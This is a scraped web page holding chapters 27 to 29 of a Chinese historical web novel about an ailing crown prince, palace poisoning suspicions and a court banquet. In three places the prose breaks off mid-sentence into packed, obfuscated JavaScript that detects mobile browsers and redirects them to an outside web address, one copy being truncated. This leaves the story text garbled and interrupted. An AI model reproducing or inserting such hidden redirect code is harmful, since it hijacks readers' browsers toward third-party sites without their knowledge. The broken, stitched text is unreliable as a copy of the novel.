陈子元道:“阿寄是温吉的亲侄子,她为了你也不会真干出什么事,但旁人就说不准了。不管是为了拴住你,还是对储位生了异心,阿寄的命在他们眼里,就是条命。再说选立大宗伯这件事,就是吊出去一块肥肉,那些人可能不动心思?万一新的大宗伯叫他们笼络在手,后面的事怎么办?你还真去了长安不回来了?就算你不怕温吉做秦善,但你就不怕,阿寄变成第二个你吗?” 秦灼身躯微微一震。 陈子元忍不住道:“我知道你惦着萧玠,走了八年你就惦了八年,可大王,手心手背都是肉啊。” 他许久没有听到秦灼答复。一抬头,见秦灼垂头坐着,月光淋了一脸,胸前两道洇迹,如同两行血痕。 第二天太阳高升,秦寄依旧没有睁开眼睛。 郑挽青检查他的一应用具,从炉子里找出用药的痕迹。 秦寄的生命被当作警钟敲响,明白地告诉秦灼,他一走,秦寄就会死。 刑讯,救治,沉如死水。像回到奉皇五年,萧玠的那场重病。 进出来往的脚步声中,秦灼坐在椅中,如同木胎。 终于,郑绥踩着第二日的夕阳拜见,请示他的最终决定。 秦灼坐在秦寄床边,掌中拢着他冰冷的手。秦寄向来体热,这次却无论如何都暖不回。他看着秦寄的脸,久久,垂下两行眼泪。 郑绥又叫一声:“大公。” 秦灼替秦寄掖好被褥,站起身,走到郑绥面前,扑通跪倒。 郑绥忙跪倒搀扶他,却被一股力量牢牢抗住。秦灼紧紧把着他双手,脸几乎埋在胸前,叫道:“郑郎。”许久,他哽咽道:“郑郎啊。” 郑绥明白了。 他搀扶父亲一样,将秦灼从地上搀扶起来,想倒碗热茶,一摸桌上茶壶已冷。他从秦灼面前蹲下,握住那打颤的双手。这一刻,他眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧玠垂首,看向腕间铜钱红线,泪落潸然。 待萧玠睡下,郑挽青走到纱橱外,萧恒正在等候。见他来,萧恒不作他言,跪下叩了三个响头。 不管是年纪还是身份,萧恒此举堪称惊世骇俗。郑挽青却如同意料之中,自己避到一旁,没有阻止,也没有搀扶。 萧恒扶膝站起,躬身道:“先生医术精湛,大恩大德,我无以为报。” 郑挽青淡淡道:“受人所托而已。” 萧恒默然片刻,方问:“秦公好吗?” 郑挽青对他们的内情多少知晓,道:“陛下若有心肝,也不该问出这句话。” 萧恒静了一会,道:“阿玠既已转好,请先生转告,别叫他太忧心。也请先生多看顾,他胃里和腿上的症候再不保养,再上年纪,要受罪。” 郑挽青道:“陛下放心,公夫人虽是一地之主,却也体贴冷热。何况有少公在膝下尽孝,大王为此天伦之乐,也会善自珍重。” 萧恒点点头:“那就好。” 郑挽青看了他一会,纯然奇怪:“我听闻昔年故事,原以为梁皇帝割舍如同剜疮,如今一见,却是早入膏肓。真论起来,倒是大王比你要强一些。就算陛下你当年壮士断腕,如今看来,又有什么益处?” 萧恒静了一会,说:“先生也说了,他现在,比我强。” 郑挽青从怀中取出一封纸笺,道:“每逢上元,大王都要新手做一盏灯。据镇国将军所说,今年没做完便吃得大醉,这是醉中作的。陈将军托我转交殿下。” 萧恒接过纸笺,打开看了好一会,忽然听到殿内低低的咳嗽声,他忙擦一把脸,将纸叠起贴胸口放好,跨步走进纱橱。 *** 元夕,梦阿玠,逢于故宫园子,望之,亭亭成少年。未及怀抱,倏然梦散。难为人道,寄《江城子》以怀。 年来残梦却相逢,故池东,小楼风。圭照啼痕、未语太匆匆。人世几多离恨事,终萍散,转头空。 欲寻又道万峰重,月华浓,与谁同?岂肯识吾、旒冕老青葱。捶碎山河都不是,星汉外,一宵中。 27. 第 27 章 这段时间,郑挽青一直陪伴萧玠。除却照料他的身体,更极大地强健了萧玠的精神。萧玠病情渐好后,郑挽青常为他讲光明经文。其见地之通达明彻,堪称世之罕见。待萧玠基本痊愈,郑挽青方启程告辞。 萧玠笑道:“听姑姑讲到,南秦要新选大宗伯统管神祠之事,先生已在候选之录。在此祝先生诸事皆宜。” 郑挽青对此颇为平静:“多谢太子,一切听从天意而已。” 郑挽青离去后,天也渐渐暖和了,大伙受萧恒的嘱咐,晌午把竹帘子都卷起来,叫阳光照进东宫里。萧玠仍倚在榻上,手里捡一本《春秋经传集解》读。 这大半年他缠绵病榻,功课一应撂下,如今有些力气,便重新拾掇起来。太阳晒到书上,墨迹闪现一种矿石光泽的青金,连同萧玠的眉毛和睫毛,一应变成这柔和鲜亮的颜色。他翻过一页,正见阿子将炭盆搬到榻边。 萧玠道:“开春这样久了,还供炭。” 阿子将火钳靠在杌子上,道:“陛下嘱咐,殿中日日都要通风,怕殿下冷。” 萧玠放下书,道:“这炭不呛,也没有烟。” 阿子笑道:“殿下肺里的症候受不得烟气,陛下专门叫人取的银骨炭。这炭烧起来暖和,只这一点就能供一间屋子呢。” 萧玠眉头皱了皱,“银骨炭出自西山,开采颇为耗费,自打奉皇六年起就被陛下禁了。陛下为了我再取用,要人怎么说他?” 阿子服侍他之初只以为他脾气软和,久了才知道,越软和的人拗起来越要命。他不多讲,也不撤炭盆,起身时听见东宫外的棉布门帘一响,一段脚步声后,又是阁子的纱帘打起的声音。果然,秋童已经眉开眼笑地站在跟前,道:“今儿的药好了。陛下怕殿下刚起没吃早饭,叫人蒸了粉糕,殿下略吃一块再服药。” 自打萧玠这场病后,一应汤药都被萧恒包办,每日都是由甘露殿炖好,再经秋童亲自送来。近日来,东宫也有些异样,宫人轮值看似没有变化,实则进行过调整调动,似乎进行了一场秩序井然的审问和清洗。 萧玠是个很敏锐的孩子,未几日便问秋童:是不是我这场病有什么问题? 秋童只模糊说,郑先生曾提点陛下,殿下这场病有些蹊跷。 萧玠追问:是毒? 秋童只道:一切有陛下,殿下安心就是。 萧玠接了药碗在手,半晌却问,这就是陛下还不出京的缘故,是不是? 秋童看他一会,叹道,殿下,陛下是大伙的顶头天不假,但他更是你的爹。当爹的真把你自己撂在家里,如何安心?昼也悬心夜也悬心,他就算是铁打的身子又能强撑几天? 果然,这话一出,萧玠再也没提过催萧恒出京的事。 是以如今阿子见了师父秋童,全如见了救星,慌忙从他手中接过药炉,又偷偷瞟了眼地上的炭盆。秋童会意,依萧玠的意思从榻边坐下,摸了摸他的手,笑道:“殿下打小手脚冰凉,非得拿炭盆才能暖过来。喔,这还是从前陈将军供的炭,当时没用那么多,全都积到了库里。再留几年受了潮,用不了也是可惜,殿下点着,觉得怎么样?” 萧玠笑了笑:“暖和多了。” 阿子心中惊叹他师父劝人的本事,回身掀开炉盖,倒了一大件的药。萧玠病后便换了方子,药汁倒出来,在阳光下如同绸缎,哗啦啦委到碗里,闪烁着丝织物般华丽的紫红光泽。古怪的药味钻进阿子鼻孔,阿子忍不住皱了皱眉头。这不太像草药的味道,反而有些生鸡蛋的腥气。 阿子没做声,将药端给萧玠。萧玠正问秋童:“年前卢小青伙同王云竹贪墨的案子,有没有新的进展?还有……” 他没有立即开口,但萧玠究竟想问什么,秋童岂能不知?秋童叹道:“殿下放心,夏相公举发有功,又行端坐正,并没有牵连在内。只是涉案的王云竹是他的姨表弟,夏相公多少要避嫌。且奴婢听陛下的意思,这事只是个头。” 萧恒并不限制宫中议论朝政,秋童继续道:“按大理寺的奏禀来瞧,私扣官银之事绝不是头一次,但王云竹一个只供职的浪荡子,也绝对没有这么大的胃口。殿下知道,他是王氏的子弟,又和夏氏许氏都有姻亲,这还没论他的师承。他若只是一条小鱼,底下只怕还藏着大鲸。杨相公从地方递来的折子,猜测王云竹上头的人和地方互为勾连,共行贪赃,款项之剧,足够三大营全体将士六年之用。” 萧玠脸色乍然转白,半晌,只摇头一笑。秋童问:“殿下笑什么?” 萧玠道:“我笑京中诸公愚蠢,他们唯恐地方出事将他们牵连出来,竭力阻止陛下亲巡,又做出春玲儿卢小青两桩命案,更给了陛下摸瓜的藤条。他们可能没想到,要查到自己头上,压根不用陛下出京。” 秋童一愣,又听萧玠道:“这两桩案子,我还有些不明白的地方。从现在看来,卢小青灭口春玲儿,是怕我查到她和王云竹的干系,从而牵扯出世家贪墨、且在行宫中安插眼线以掣肘陛下,并挑拨天家父子的事情。但卢小青自己就与官银转窃相关,家中更有暗室,如此诸多破绽,要从他入手调查官银贪墨一案岂不更为容易?为什么要指使他做这个替罪之羊,这不明摆着把世家贪贿的线索往陛下手里递吗?” 萧玠看向秋童,郑重道:“秋翁,我只怕这件事背后不只是贪墨,甚至不只是世族与陛下的争斗这么简单,请您转告陛下,一定当心。” 秋童第一回听见他这样成人的心思,一时之间,心中不知何许滋味。他轻轻说:“奴婢晓得了。殿下快吃药吧,不能放冷了。” 萧玠依言饮药,皱着脸道:“这方子味道真怪。” 秋童笑道:“郑先生开的方子,怪,却是好药效。” 萧玠问:“陛下近来身体如何?早晚药还常吃着?这几日有没有发作?” 秋童道:“殿下见好,陛下就没什么不好的了。”见萧玠神色,又问:“殿下有话要问吗?” 萧玠笑道:“没有,我不过问一句,等晚上他来吃饭,我再叮嘱他。” 秋童笑着站起来,道:“是,殿下药既吃完,奴婢便回去。这时辰,陛下也该下早朝了。” 他一打眼色,阿子便端着药炉跟出去。天空一蓝如洗,飞鸟掠过瓦甍时,脚步声沿墙根赶去。 阿子问道:“师父,若陛下怕有人动手脚,叫您在东宫盯着熬药便罢了。怎么这样送来送去,连罐子都要端着,多出这些麻烦?” 秋童轻轻给他一后脑一巴掌,“不该你问的甭问。我倒想问你,殿下最近有没有什么不对劲?” 阿子摸摸脑袋,“自从我跟着殿下,就没觉得他对劲过。” 秋童道:“你仔细想想,估计是有关陛下的事。” 阿子想了半天,恍然道:“约莫是陛下吃补药的事。” 阿子印象里,皇帝是个节俭的人。节俭和抠门儿不一样,对自己省,叫节俭;对亲近人省,还省的是不该省的,那是抠门儿。看东宫一应取用,虽不奢靡,但绝对算得上丰厚,更别说萧玠这一场重病的耗费,一碗药就是真金白银。而皇帝他自己,不置女乐,不修宫室,一套衣裳新旧三年,如果不来东宫吃饭,自己一个饼子一碗汤粥就着酱菜完事。 是故,如果皇帝突然一反常态支出一大笔开销,不可能不引人注目。 当时萧玠尚在病中,便听闻消息,问阿子:陛下开始进补药了? 阿子答: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566370|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴婢也不很清楚,殿下从哪里听说的? 她们在外间扫地,应当觉得我睡着,讲了几句。太子声音有些发紧。陛下是从不进补的,我听说,用了全鹿干、何首乌,还有人参阿胶,这些都是过分名贵的药。 太子握紧药碗,央求道,阿子,你帮我去甘露殿那边打听打听,好不好? 阿子自然依从。 不过半个时辰,阿子便赶回东宫,一掀帘,就见萧玠倚在榻上的身体绷直起来,两眼切切地望向他。 阿子双腿发沉,口中发苦,慢慢挪到太子跟前,低声道,奴婢打听了,陛下进的方子,是补男人的药。 他有一段时间没有听到太子的回复。 皇帝新婚的内情无人得知,但阿子知道,他向儿子解释过一次。 立后翌日,皇帝陪太子用饭。师父秋童从厨房捧来一只八珍煲,取用海味八种,是太子幼时极爱吃的,但皇帝因其靡费,许多年不叫做了。阿子捏住裹锅边的软布,一接手,便有一股鲜香扑鼻。他侧身避开帘子,走进阁子,太子正站起身给皇帝倒酒,垂脸道,恭贺阿爹新婚之喜。 一会,皇帝的声音响起。他说阿玠,阿爹和皇后只是成亲,不是夫妻。阿爹不会做对不起阿耶的事。 对着儿子,皇帝不好把话说得太糙,但这样就留下了想象的余地——他们两个究竟是什么关系?不是夫妻,是指没有夫妻之实,还是有了实处,但在心里留给其他人位置? 是以太子听到这汤药指向房中的暗示,愣了一会,问,果真吗? 阿子道,奴婢从师父那儿打探的消息,应当没有岔子。 太子点点头,一会便笑了,那笑容像一枝本当枯萎的昙花,强行做出绽放的姿态来。 太子道,陛下圣躬安康,我便放心了。 …… “你不是传了消息回去,殿下不信?”秋童的声音响起。 阿子一个激灵,正冲见红墙上自己的影子,像撞了个鬼。他道:“殿下哪能不信呢。只是宫中也传得厉害,说陛下这次进补,是打算同皇后殿下绵延皇嗣了。” 秋童唔地一声,并未作答。阿子从他脸上察看到一种残忍的冷静。 秋童道:“叫底下人管好舌头,这些风言风语再传到殿下耳朵里……陛下仁慈,我却不是手软的。” 阿子连忙应是。 秋童瞧他一会,道:“你小子,有话赶紧问。只这一次,烂在肚子里。” 阿子默了,片刻后,方喃喃道:“师父,我只是不明白,殿下的生母,究竟是怎样的人?” 叫史笔绝口不提,叫宫闱讳莫如深,叫皇帝忍痛相割之后,数年如一日地魂牵梦萦。 这样一个传奇的人物,留下的全部痕迹,只有一个太子而已。 阿子抬头,见秋童正眼望青天,那目光叫阿子有些恻隐。秋童嘴唇蠕动了一下,阿子已经道:“师父,我不问了。” 秋童笑道:“你倒颠三倒四起来。” 阿子道:“我怕真知道了,再也伺候不好殿下。” 秋童默了片刻,道:“是,你须记得,殿下最不要人可怜。” 阿子应一声。 秋童重新迈开脚,红墙上的鸟影也像树叶子,被脚步刮起一阵子。他嘱咐道:“陛下的意思是,等殿下大好,便请朝臣家的郎君娘子一块进宫,陪殿下热闹热闹。到时候要跑动的不少,你早些来,把流程东西都认一遍。那些炭别舍不得点,用完了再知会我,我再使人送来。” 阿子答应,旋即又发愁道:“只是这春寒倒得厉害,库房里的银骨炭都用光了怎么好?” 秋童笑笑,“傻小子,哪里的炭能一攒攒九年呢。” 28. 第 28 章 春日气候渐暖,东宫那棵枯死的梨树竟发了新芽,至三月底,树上已零星绽了几束梨花。恰逢太子病愈,宫中皆洋洋喜气,认准这是太子康复的休征嘉应。连萧恒这从不信鬼神的人都以此为信,应祥瑞之兆,太子宫中多放一个月的月俸。 梨花的生命放到第三天,萧恒于东宫开宴,召诸子弟入宫以伴太子。 一早阿子便传来消息,太子尚未服药,待一会才能出席,请诸位郎君娘子随意逛逛,稍作等候。 众人还有些拘束,郑缚已带头笑道:“东宫园子最好看,还有不少前朝养下的丹顶鹤,都在池塘旁边,大伙一块去瞧瞧。” 郑氏兄弟如同太子心腹,这位小小郑一开口,众人也就松快一些,三三两两结伴而行。郑绥趁机拉住阿子,问:“殿下早间的药不该是辰时便吃完么,怎么现在吃药?” 阿子道:“陛下给殿下换了方子,现在这味是调理的药。” 郑绥应下,不再追问。 这不太像他对待萧玠之事的态度。阿子只觉他今日有些不对,还没来得及开口询问,园中突然传来一阵喧哗,带头的明显是郑缚的声音。 郑绥冲他一揖手,快步往园中赶去。 一带柳树底,几个世家子弟正围着一个少年人。那少年未着绫罗,不过一领浅紫布衣,垂着脸,从脖颈红到耳根。 郑缚正笑道:“这不是汤二郎君吗?汤家人竟也受邀进了宫,陛下真是大人大量。” 一旁人笑道:“郑二郎,这此汤非彼汤。当年汤住英谋逆案,人家二郎的父亲可是勇于举发,就这么坐到了礼部——” “礼部什么官来着?” “礼部员外郎,堂堂的从五品官!” 郑缚拊掌大笑道:“从五品,高官,高官!就连当年的汤氏,满打满算,哪里出过这样出息的子弟?真是龙生龙凤生凤,二郎,瞧你这副形容,颇有乃父之风!” 那汤二郎面皮涨红,低声道:“郑二郎君,请放尊重。” 郑缚笑道:“我们只是讲讲实话,二郎怎么生气了?令尊汤平昌汤员外郎不是汤住英的族亲么?当年若非汤逆发迹后顾念旧情,将你们一家接来京城,又给咱们汤员外郎捐了官做,二郎只怕还在樾州那穷山恶水里刨地呢。结果汤皇后被废,你父便将汤住英卖了个底掉,我只是替他可惜,养条狗都向人亲,这可不就是穷山恶水出——” 郑绥赶到,正听到这句,厉声喝道:“郑缚!” 另一道声音同时响起:“穷山恶水,出什么?” 众人闻声回身,汤二郎也乍着胆子抬眼瞧去,见一派碧翠的春色,簇拥出一个穿着素净的少年人。一见他,所有人呼啦啦拜倒,口中道:“皇太子殿下金安。” 萧玠没叫人起来,问道:“阿缚,你要讲什么?” 郑缚仗他宠爱,嘿嘿笑道:“哪里什么,殿下,臣同汤二郎讲笑话呢。” 萧玠平日纵容他,如今却一反常态,道:“穷山恶水出刁民。樾州曾以芙蓉美玉闻名天下,当年玉矿最盛时,樾州堪称江南之门户。哪怕玉矿已禁,樾州的菊花和锦缎也是九州一绝。樾州若算穷山恶水,那陛下所出的潮州并州,算什么?樾州汤氏算刁民,那二郎,当年陛下为朝廷通缉、各地逃奔,又算什么?” 郑缚到底小孩子气性,又从未被他当众训斥,红着脸叫道:“汤氏怎能同陛下相比?殿下,汤氏当年为了做皇后的私心将你害成什么样子,你怎么现在偏帮他们讲话?” “郑缚。”萧玠沉声叫他,连名带姓,“恭让皇后是陛下的原配,私下议论,是大不敬。” 郑缚脸色发白,紧紧咬住嘴唇。 萧玠看着他,“怀帝在位时,曾以大不敬罪斩首讪谤贺太后者五十余人,连坐三族。我以为这个故事,你该听过。” 郑绥见他真的动气,忙俯身道:“殿下,是臣教弟无方,殿下千金之躯,万勿动怒。”又喝道:“郑缚!” 郑缚浑身一抖,听郑绥叫道:“还不快向汤郎赔礼!” 郑缚自幼被从手心捧大,大哥对他异常看顾,萧玠也是和颜悦色,如今两个人一齐发作,他第一反应竟不是君臣之分,而是两个人变脸来维护外人。一时小孩子脾气上来,竟不认错赔礼,不待萧玠首肯,站起来掉头跑走了。 众人皆晓得,杨夫人怀郑绥时胎相不好,便带了长子回山清水秀的老家养胎。因生产时难产亏损,又过了几年才带两个孩子回京。别说郑绥已长成大孩子,郑缚也满地跑了。因郑缚生得不易,一家人总格外疼他,也因着郑绥的缘故,萧玠也当他做自家弟弟看待。却不料这位郑二竟被惯得天高地厚,都敢给储君甩脸子。 这也大出郑绥预料之中,正要向萧玠请罪,已听萧玠叹口气,道:“绥郎,你起来,大伙都起来吧。” 萧玠走上前,亲自将汤二郎搀扶起来,问:“不知汤郎名字?” 汤二郎躬身道:“臣贱名惠峦。” 萧玠回忆片刻,“惠峦,我听闻樾州有座菊山,以绿菊称闻,一到重阳漫山遍野,曾用的古名就是惠。汤郎的名字,可是取自这个惠山?” 汤惠峦道:“殿下博闻强识,正是如此。” 萧玠含笑道:“樾州物华天宝,好风物,好地方。劳累大家久候,咱们先开宴,一会再来逛。” 众人纷纷应是。萧玠一举步,郑绥已然会意跟在一旁。萧玠低声道:“你叫人去找找阿缚。” 郑绥道:“是臣管教不严,他才敢犯上冲撞。殿下保重玉体,等散了宴席,臣押他来同殿下告罪。” 萧玠摇头笑笑:“一家人,哪有这么多事。” 这话一出,他忙道:“我是讲,你们是皇后的外甥,咱们也算带了亲。” 他讲起这事,郑绥耳边响起他直言汤皇后在萧恒的原配身份,心口不由一紧。萧玠脸上却瞧不出分毫不妥。 宴席摆在东宫春明池畔,芳草之间。众人纷纷献礼,虽不至于奇珍异宝,却也罕见精妙。汤惠峦所献的墨锭便显得不甚出手,萧玠便笑道:“方才闲谈时,听闻汤郎有左右手双书的才能,我想向汤郎乞两幅墨宝,不知可否?” 有萧玠先发制人,汤惠峦得以顺利献礼,之后更是被萧玠安排离开末席,挨在郑绥身边坐下。 汤惠峦一早听闻郑绥少年将军,如今一见,这样戴玉冠着青袍的少年人竟更像个儒生,只从过分挺直的腰背和坐姿上能瞧出军容。他脸上很有其父冠军大将军郑素的俊美之态,这样看来,郑缚同他眉眼并不相肖,应当更像母亲杨氏夫人。 汤惠峦垂眼,见郑绥革带挂一枚鱼形铜符,正昭显他东宫近身的身份。 这一会,郑绥已向他揖手拜道:“家弟冒犯郑郎,是我约束无方。” 汤惠峦忙道:“小郑将军客气。” 郑绥道:“对子辱父,实大无礼之事。我不求郑郎恕罪,出宫之后,我定当带他登门道歉。” 汤惠峦摇首道:“多一事不如少一事吧。” 郑绥知他心中有结,也不好迫他。一会,他听汤惠峦低声道:“将军是殿下的臂膀,我想请教将军,殿下本该深恨我,今日……为何替我解围?” 郑绥反问:“殿下为何深恨你?” 汤惠峦低头道:“我到底出身汤氏。” 郑绥叹道:“二郎,当年殿下遇虎之事,东宫大宫女苏合正是元凶之一。听闻陛下要斩杀苏合,殿下不惜撄剑跪请全她性命,那头伤他的猛虎,殿下重病之时还念念不舍。这样一个人,怎会迁怒、怨恨于你?” 二人讲话间,丝竹已然安置,郑绥余光一扫,见俱是教坊服色,想必是萧恒安排乐者入宫献乐。一时弦鸣歌啭,声彻云霄。一曲罢,萧玠赐众人酒,郑绥抬头,正见萧玠同阿子耳语几句,阿子便捧起他案上未动的一只玉觞,退至一旁小径,双手奉到一把琵琶跟前。 *** 我瞧一瞧众人手中的瓷盏,迟疑道:“殿下这是……?” 阿子笑道:“这是殿下病倒前取行宫梨花所酿的酒水,只一小坛,请沈郎尝一尝。” 我抬头看向萧玠,见萧玠也正瞧我,叹道:“臣分内之事而已,殿下无需如此。” 我晓得萧玠是谢我为他拨琵琶解闷,在他重病之初,那时候他还逗留行宫。 萧玠这一场夺命的重病,我其实算个知情人。 当时送还琵琶后,我便去问他琵琶弦上手如何。正值黄昏时分,萧玠正落帐躺在榻上。见来人,便撑身要起。 我忙告罪道:“臣惊扰殿下,罪该万死。只是殿下玉体可有不适,怎么这么早便歇下?” 帐后萧玠的声音如蒙薄雾,先叫我起身,知晓我的来意,谢了我的用心后,叫我自己去架上拿琵琶瞧。 我抱过那把琵琶,上下观察一遍,又取过他的拨板试音,边道:“这弦到底有些年纪,殿下平日用拨子要当心,每个月用油擦一遍,应当……” 我未听见回复,却听见当啷一响,见一物从帐底骨碌碌滚出,竟是萧玠倚着的软枕。他手腕垂到榻边,人已昏迷。 我手指一颤,手中拨板向下一割,四根琴弦齐齐断裂。 萧玠在太医施针后醒转过来,睁眼见了我,从榻上撑起身,十分郑重地望着我的眼睛,道:“沈郎,我要拜托你一件事。” 我应声道:“臣什么都不知道。” 萧玠笑了,眼睛却发潮。他轻轻颔首,重新躺回榻上。 自此之后,我但有空闲,便去西暖阁为他抚琵琶。萧玠大多时间不置一语,偶尔精神好些,会同我交谈几句。一次弹毕,萧玠静静看我,道:“我第一次听你的琵琶,是那夜。” 我道:“是,臣僭越,只闻其声,擅自相和,还未正式向殿下请罪。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566371|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >萧玠只道:“我最早的琵琶师傅告诉我,音乐是站在人之前的。可那夜,我第一次那么想知道,那把琵琶背后究竟是什么人。他一个北方的乐师,为什么能把无关于己的南地曲子弹成这个样子。他有什么故事,他的故事……是不是和我相似。” 萧玠道:“等见了你,第二次听你弹琵琶,我就彻彻底底地明白了。在音乐面前,人的故事何其微小,音乐就是故事本身。至少在琵琶上,我们,是有相同故事的人。每次你弹琵琶,就让我觉得,我不是单着个。” 他笑道:“真想和你再弹一曲啊。” 他这话一落,阿子眼泪便噼里啪啦地落。我顺着阿子目光看向他的双手,那双手血管突兀,峥崚瘦骨,手指轻轻颤抖。很难想象这是一双弹琵琶的手。 我走上前,从榻前跪倒,握住他双手道:“会的殿下,会的。” 此时此刻,我抬眼看向萧玠。萧玠已然脱离病重的旧躯壳,在一派春色下,恢复一些青春的生机。他向我遥遥举杯,我只好却之不恭。 又过几曲,酒也已过三巡,在座男女都微有醉意,渐渐也活络起来,三言两语讨论起做些什么游戏。我随教坊众人退至径旁,见世家子弟都看向一个身着华服的少年。 萧玠也看向他,神色有些不同,“是嘉国公世子?” 那少年立即撩袍跪地,“臣虞闻道,恭请殿下玉体安健。” 一听他的名号,我们这些宫人乐者低声议论起来。一个女孩呀地一声:“可是怀帝朝那位上柱国的自家?” 我分辨出她的声音,正是跳胡旋的妙娘。忆奴叫她揽着手臂,笑道:“朝中还有哪个姓虞?从前的老将军虞成柏膝下二子,一位是怀帝的原配上柱国虞山铭,另一位便是长子虞山铖。只是虞山铖自幼多病,不在军营,便坐镇家中,掌管虞氏上下事务。怀帝多少顾念旧情,封他嘉国公的爵位,他虽未从军,只凭靠虞氏积威,军中也要敬他三分。而且……” 忆奴附耳向她,声音极轻,但我挨得近,隐约能听到她的气声:“难说虞成柏没有给他留下的兵。” 我便着意瞧了瞧那位嘉国公世子。据闻嘉国公夫人极美,哪怕在一众世家子弟间,虞闻道的容貌也极为出挑。一双狐狸眼生在他脸上,却不显得狡黠油滑。但他显然没有郑绥从军中磨砺出的气势,大抵虞山铖只教他学习族中事务,做一个世子的本职。 虞闻道正向萧玠道:“教坊管弦极好,却不如咱们自己玩自在。臣等多少都通些丝竹,不如殿下做主,咱们来抽牌子,抽着了先作先弹。不知殿下意下如何?” 萧玠笑道:“来者是客,咱们就主随客便吧。既然是虞郎的主意,就请题签留墨,如何?” 虞闻道道:“臣遵令谢恩。” 他既这样讲,阿子便安排起来,不一会,签筒便被捧上,待虞闻道题好,转奉萧玠。萧玠率先抽了一支,似乎确认了什么,便亮签子给众人瞧:“调笑令。” 众人笑道:“殿下这是公然揶揄我们了。” 萧玠也不忸怩,把琵琶抱在怀里,沉吟片刻:“有了。” 他取拨划弦,口中吟道:“春暮,春暮,置酒留春不住。春又和尘扑衣,更惹一身絮飞。飞絮,飞絮,将渡横桥遇雨。”* 众人拊掌笑道:“正是应景。” 我忍不住抬头瞧他,却见萧玠仍笑意满面,只将签筒传下去。 世家子弟多精通曲律,女郎们也参与进来,却是只拨琴弦,少有诗词相和。皇帝如今虽开女试,但参试人数寥寥,瞧如今情形,只怕连世家教女都少取诗书,更遑论政治。 内侍阿子捧着签筒,走到下一席。他身体将席位遮住大半,我只看见一只戴玉钏的素手探出,显然是个女子。 她拨出一支签子,向阿子一亮,阿子便唱道:“水调歌头。” 那少女盈盈起身,欠身道:“同殿下告罪。妾不通丝竹,但略懂文墨,若只填词,妾愿尽力一试。” 她立在一丛新柳之下,又穿一身水碧衣裙,正合这春光融融。只是头戴幂篱,不见面貌,只看得一座碧玉雕就的美人像。得到萧玠首肯,她略作沉吟,当即诵道: “柳外小池静,阁后水云空。浓春还得粱梦,轻悄跃樽中。盛得游星浮蚁,要过银河鹊路,掷手泼成虹。幻境新杯酒,人世旧飘蓬。 知我云,罪我雨,未如风。痴儿笑我,何弃鸳侣效冥鸿?驰纵联翩万马,飞渡青天无限,颠倒水晶宫。天上归来久,寸地有相逢。” 她话音一落,场上竟寂静片刻,少顷,响起掌声。 萧玠拊掌望向她,目中奇异的光芒闪烁,“敢问娘子如何称呼?” 少女答道:“妾出身崔氏,小字燕微。” 当即,虞闻道已停杯笑道:“殿下,这位便是咱们小郑将军的未婚妻。却不料崔娘子才学如此精深,郑郎,天大的福气。” 29. 第 29 章 阿子心中有些惴惴。 萧玠今日一反常态,竟吃了不少酒水。这陶陶的醉意如同热炭,把他的脸都给烤红了,有点像他发热的前兆。阿子察觉,他有些心不在焉。萧玠已经不止一次放下筷子,也不止一次在交谈中走神。 席间没有拘束,有些吃醉的伏案休憩,有些没逛完园子,便三三两两结伴而去。等席间人只剩二三,萧玠便揽起琵琶,也要离席。 阿子忙道:“这边正冲风口,殿下要不先进殿,奴婢安排些解酒汤。” 萧玠却说:“没事,难得天好,我自己走走。” 阿子想他病中悒郁,也没有劝阻,只觉萧玠四下张望,像在找寻什么人。 阿子转头去瞧,心中了然。 郑绥已然不在席中。 阿子如若跟随萧玠而去,会发现他拨开几绦垂柳后,在春明池畔住步。池边碧桃打了骨朵,也有的早开,落入池中,血点子般,溅了碧波中的萧玠一身。萧玠的手保持拂开柳丝的姿势,许久没有动弹。这时候顺他的目光望去,会瞧见池子对面站着两人,正是一男一女,少年挺拔,少女娉婷,正是郑崔一对未婚夫妇。崔娘子幂篱打起,露出一张清秀面孔。二人喁喁细语,不久,崔娘子从袖中取出一物,像个香囊。 萧玠盯着郑绥,郑绥的眼睛郑绥的嘴巴郑绥的手。郑绥的双手向前打开,身躯微躬,将那只香囊接在掌心,收到袖中。 萧玠的手仍抬着,手中柳枝已如珠帘倾泻,哗啦啦刮了他一头一脸。 等那二人离去,萧玠静静立了一会,像瞧池中自己的影子。不多时,也举步离开。 未走多久,远远,一股琵琶声像只小手,往萧玠耳朵边挠了挠,他那灵敏的耳朵当即抓住这只手,被牵着走向院前。 果然,他在东宫那棵逢春的枯梨树下再次遇见那把琵琶。更要紧的是,萧玠听得,这把琵琶所奏正是自己席上所拨的曲子。只是换了手法,也变了调子,自己弹得洋洋喜气,他却弹得呜呜咽咽。 一曲毕,那人放下琵琶,没有离去,反而在梨树下仰头站了很久。 萧玠立了一会,还是道:“这是前朝所植,在奉皇五年宫变时枯死,今年竟开了花。” 那人转头,露出沈娑婆的面孔,见他并不惊讶,反而笑道:“是,此树复生,殿下也大好了,是吉兆。” 萧玠走上前,一块进到梨花影子底,问:“为什么要这么弹?” 沈娑婆道:“殿下所演,臣听在耳中,乐弦哀曲。” 